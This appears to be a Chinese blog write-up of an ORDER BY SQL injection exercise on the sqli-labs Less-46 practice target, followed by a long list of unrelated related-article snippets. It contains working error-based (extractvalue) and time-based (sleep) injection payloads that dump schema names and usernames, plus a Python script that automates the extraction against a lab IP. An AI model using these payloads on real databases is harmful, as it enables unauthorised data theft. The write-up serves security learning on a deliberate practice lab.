当前位置: 首页 > news >正文

关于order by的sql注入实验

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

 爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

import requests
import re# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"def extract_database_name():database_names = []index = 0while True:# 构造注入Payloadpayload = {"sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"}try:# 发送GET请求response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()# 正则匹配错误信息中的数据库名error_pattern = r"XPATH syntax error: '~([^']+)"match = re.search(error_pattern, response.text)if match:db_name = match.group(1)database_names.append(db_name)print(f"成功提取数据库名: {db_name}")index += 1else:if index == 0:print("找到数据库名,可能漏洞不存在或错误信息被隐藏")else:print("已提取所有数据库名")breakexcept requests.exceptions.Timeout:print(f"[-] 请求超时,索引为 {index},继续尝试...")except requests.exceptions.HTTPError as http_err:print(f"[-] HTTP请求错误,索引为 {index}: {http_err}")except requests.exceptions.RequestException as e:print(f"[-] 请求失败,索引为 {index}: {e}")return database_namesif __name__ == "__main__":all_database_names = extract_database_name()

结果

 同理,修改sql注入语句,即可爆出所有的数据信息

2.布尔盲注

错误按照username执行排序,否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称 

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

?sort=if((ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

?sort=if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

?sort=if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

 根据上述sql语句可以获得数据库的信息

相关文章:

关于order by的sql注入实验

实验描述 本实验基于sqli-lab的第46关进行测试 本关的sql 语句为$sql "SELECT * FROM users ORDER BY $id" 利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据 1.报错注入 1.手工测试 爆出数据库 ?sort(extractvalue(1, c…...

Transformers快速入门-学习笔记

一、自然语言处理 NLP 是借助计算机技术研究人类语言的科学自然语言处理发展史 一、不懂语法怎么理解语言 依靠语言学家人工总结文法规则 Chomsky Formal Languages 难点:上下文有关文法 规则增多,存在矛盾 二、只要看得足够多,就能处理语言…...

luci界面开发中的MVC架构——LuCI介绍(二)

想要给openwrt开发应用,虽然直接可执行程序也可以运行,但是没有UI会很不方便,想要开发UI就要用openwrt的那一套,自然就是LuCI,LuCI又用了一套MVC框架,今天就讲讲这是个什么东西。 OpenWrt LuCI 界面开发中…...

第1章大型互联网公司的基础架构——1.10 其他NoSQL数据库

这里我们简单介绍一下其他常见的NoSQL数据库及其适用的场景,其中部分数据库会在后续服务设计章节中正式使用时再做详细介绍。 1.10.1 文档数据库 文档数据库的典型代表是MongoDB和CouchDB。**文档数据库普遍采用JSON格式来存储数据,而不是采用僵硬的行…...

DeepSeek+Kimi生成高质量PPT

DeepSeek与Kimi生成PPT全流程解析 一、工具分工原理 DeepSeek核心作用:生成结构化PPT大纲(擅长逻辑构建与内容优化)Kimi核心作用:将文本转换为视觉化PPT(提供模板库与排版引擎) 二、操作步骤详解 1. 通…...

web网络安全:跨站脚本攻击(XSS)

跨站脚本攻击(XSS)概述 跨站脚本攻击(XSS,Cross-Site Scripting) 是一种常见的 Web 安全漏洞,攻击者通过向受信任的网站注入恶意脚本(通常是 JavaScript),诱使其他用户在…...

【Python爬虫(44)】分布式爬虫:筑牢安全防线,守护数据之旅

【Python爬虫】专栏简介:本专栏是 Python 爬虫领域的集大成之作,共 100 章节。从 Python 基础语法、爬虫入门知识讲起,深入探讨反爬虫、多线程、分布式等进阶技术。以大量实例为支撑,覆盖网页、图片、音频等各类数据爬取&#xff…...

微信小程序:多菜单栏设计效果

一、实现效果 二、代码 wxml 编辑前端界面,步骤 菜单逻辑: 逐步取出数组中的项,首先取出顶部菜单项,然后选中后取出选中的底部数据(左侧菜单+右侧内容),然后点击左侧菜单取出选中的左侧菜单对应的右侧内容 ①这里我的数据是全部封装到一个数组对象的,首先我的循环…...

海康威视摄像头ISUP(原EHOME协议) 摄像头实时预览springboot 版本java实现,并可以在浏览器vue前端播放(附带源码)

1.首先说了一下为什么要用ISUP协议来取流 ISUP主要就是用来解决摄像头没有公网ip的情况,如果摄像头或者所在局域网的路由器有公网ip的话,其实采用rtsp直接取流是最方便也是性能最好的,但是项目的摄像头没有公网IP所以被迫使用ISUP,ISUP是海康…...

蓝桥杯之阶段考核

📖 Day 7:阶段考核 - 蓝桥杯官方模拟赛(限时 4 小时) 📖 一、如何高效完成模拟赛? 模拟赛是一种接近真实竞赛的训练方式。要高效完成模拟赛,需要掌握以下策略: 1. 赛前准备 ✅ 环…...

Python爬虫基础重要数据类型

重要数据类型 列表数据类型 在实际开发中,经常需要将一组(不只一个)数据存储起来,以便后边的代码使用。列表就是这样的一个数据结构。且列表是Python中最基本也是最常用的数据结构之一。什么是数据结构呢?通俗来讲&a…...

乐享数科:供应链金融—三个不同阶段的融资模式

供应链金融是与产业链紧密结合的融资模式,它主要体现在订单采购、存货保管、销售回款这三个不同的业务阶段,并针对这些阶段提供了相应的金融服务。以下是这三个阶段中主要的融资模式及其特点: 供应链金融融资模式主要分为以下几种&#xff1…...

【AI】openEuler 22.03 LTS SP4安装 docker NVIDIA Container Toolkit

NVIDIA Container Toolkit 打开网址 Unsupported distribution or misconfigured repository settings | NVIDIA Container Toolkit 为方便离线安装,先下载过来 wget https://nvidia.github.io/libnvidia-container/stable/rpm/nvidia-container-toolkit.repo mk…...

【2025全网首发B站教程】YOLOv12训练数据集构建:标签格式转换-划分-YAML 配置 避坑指南 | 小白也能轻松玩转目标检测!

【2025全站首发】YOLOv12训练数据集构建:标签格式转换-划分-YAML 配置 避坑指南 | 小白也能轻松玩转目标检测! 文章目录 1. 数据集准备1.1 标签格式转换1.2 数据集划分1.3 yaml配置文件创建 2. 训练验证 1. 数据集准备 示例数据集下载链接:P…...

设计模式教程:中介者模式(Mediator Pattern)

中介者模式是一种行为型设计模式,它用于减少对象之间的直接依赖关系。通过引入一个中介者对象,所有对象的交互都通过中介者进行,而不是直接相互通信。这种模式的主要目的是减少对象之间的耦合,提升系统的灵活性和可维护性。 1. 定…...

编写dockercompose脚本,管理redis,activemq,mysql5.7

编写dockercompose脚本,管理redis,activemq,mysql5.7,mysql的root密码设置Duke2007,redis密码设置duke0591 Docker Compose 多服务编排脚本(安全增强版) yaml 复制 services: # # MySQL 5.7 服务配置 #…...

【编程语言】委托与函数指针

委托与函数指针的相似之处: 指向方法:C# 的委托和 C 的函数指针都可以用来指向一个方法或函数。调用方法:它们都可以通过引用(委托或函数指针)来调用指向的方法。 委托与函数指针的主要区别: 类型安全&am…...

基于vue和微信小程序的校园自助打印系统(springboot论文源码调试讲解)

第3章 系统设计 3.1系统功能结构设计 本系统的结构分为管理员和用户、店长。本系统的功能结构图如下图3.1所示: 图3.1系统功能结构图 3.2数据库设计 本系统为小程序类的预约平台,所以对信息的安全和稳定要求非常高。为了解决本问题,采用前端…...

数字后端实现之Innovus中open net原因解析及解决方案

数字IC后端设计实现Innovus中我们经常会碰到如下的WARNING警告信息。这个log是在route或ECO Route阶段报的。这个WARNING必须要看,因为这里是报告当前设计存在open的net,即某些pin只有逻辑连接,而没有实际的物理连接。 这里正常工具应该报ERR…...

MATLAB基础学习相关知识

MATLAB安装参考:抖音-记录美好生活 MATLAB基础知识学习参考:【1小时Matlab速成教程-哔哩哔哩】 https://b23.tv/CnvHtO3 第1部分:变量定义和基本运算 生成矩阵: % 生成矩阵% 直接法% ,表示行 ;表示列 a [1,2,3;4,5,6;7,8,9];%…...

【限时首发|内部白皮书节选】Spring Boot 4.0 Agent-Ready架构设计规范V1.2(含12个不可绕过的SPI扩展点与8个已知CVE规避方案)

第一章:Spring Boot 4.0 Agent-Ready架构的演进背景与核心定位随着云原生可观测性标准(OpenTelemetry、eBPF、W3C Trace Context)的成熟,以及Java平台对JVM TI、JVMTI Attach API和Instrumentation API的持续增强,传统…...

第3篇:封装——公有、私有与property

封装——公有、私有与property 封装是面向对象编程的核心概念之一,在Python中通过命名约定和特定机制实现。以下是逐步解析: 1. 封装的含义 封装包含两层含义: 数据与行为捆绑:对象同时包含数据(属性)和操作…...

Bruno Simon Folio 2019音效设计:终极空间音频与交互反馈指南

Bruno Simon Folio 2019音效设计:终极空间音频与交互反馈指南 【免费下载链接】folio-2019 项目地址: https://gitcode.com/gh_mirrors/fo/folio-2019 Bruno Simon Folio 2019是一个融合视觉与听觉体验的创新项目,其音效设计系统通过精准的交互反…...

别再只当下载器了!手把手教你用Keil+STLink/JLink玩转STM32在线调试与变量监视

从烧录到调试:解锁STM32开发中仿真器的完整潜力 当你第一次拿到STM32开发板时,可能只把STLink或JLink当作一个简单的程序下载工具。但事实上,这些仿真器隐藏着强大的调试能力,能够彻底改变你的开发体验。想象一下,你可…...

如何快速掌握HiveWE:魔兽地图编辑器的3大核心功能与完整使用指南

如何快速掌握HiveWE:魔兽地图编辑器的3大核心功能与完整使用指南 【免费下载链接】HiveWE A Warcraft III world editor. 项目地址: https://gitcode.com/gh_mirrors/hi/HiveWE 还在为魔兽争霸III原版编辑器的卡顿和复杂操作而烦恼吗?HiveWE作为专…...

7款加密压缩包密码测试工具:ArchivePasswordTestTool技术深度解析

7款加密压缩包密码测试工具:ArchivePasswordTestTool技术深度解析 【免费下载链接】ArchivePasswordTestTool 利用7zip测试压缩包的功能 对加密压缩包进行自动化测试密码 项目地址: https://gitcode.com/gh_mirrors/ar/ArchivePasswordTestTool 在数字资产管…...

Chrome和chromedriver版本不匹配?5分钟搞定最新版自动下载与替换

Chrome与chromedriver版本冲突?Python全自动解决方案 每次Chrome浏览器更新后,Selenium脚本突然报错停止工作——这可能是大多数自动化测试工程师都经历过的噩梦。控制台里刺眼的版本不匹配提示,不仅打断了工作流程,还迫使开发者停…...

终极Python GUI开发指南:如何用可视化工具10倍提升Tkinter开发效率

终极Python GUI开发指南:如何用可视化工具10倍提升Tkinter开发效率 【免费下载链接】tkinter-helper 为tkinter打造的可视化拖拽布局界面设计小工具 项目地址: https://gitcode.com/gh_mirrors/tk/tkinter-helper 还在为Python界面开发而烦恼吗?&…...

告别Foremost和DD:用Python脚本一键自动化提取CTF中的‘图种’和隐藏文件

用Python打造CTF隐写分析利器:自动化提取图种与隐藏文件 在CTF竞赛中,压缩包隐写和文件拼接是常见的挑战类型。许多选手习惯使用foremost或dd这类工具进行文件分离,但这些工具往往需要手动操作,在处理批量文件或复杂嵌套结构时效率…...

从CTF实战出发:手把手教你用取反、异或绕过PHP命令执行黑名单(附脚本)

从CTF实战出发:手把手教你用取反、异或绕过PHP命令执行黑名单(附脚本) 在CTF竞赛和安全研究中,PHP命令执行漏洞是常见的考察点。面对严格的黑名单过滤机制,传统的攻击手法往往失效。本文将深入剖析两种高效绕过技术——…...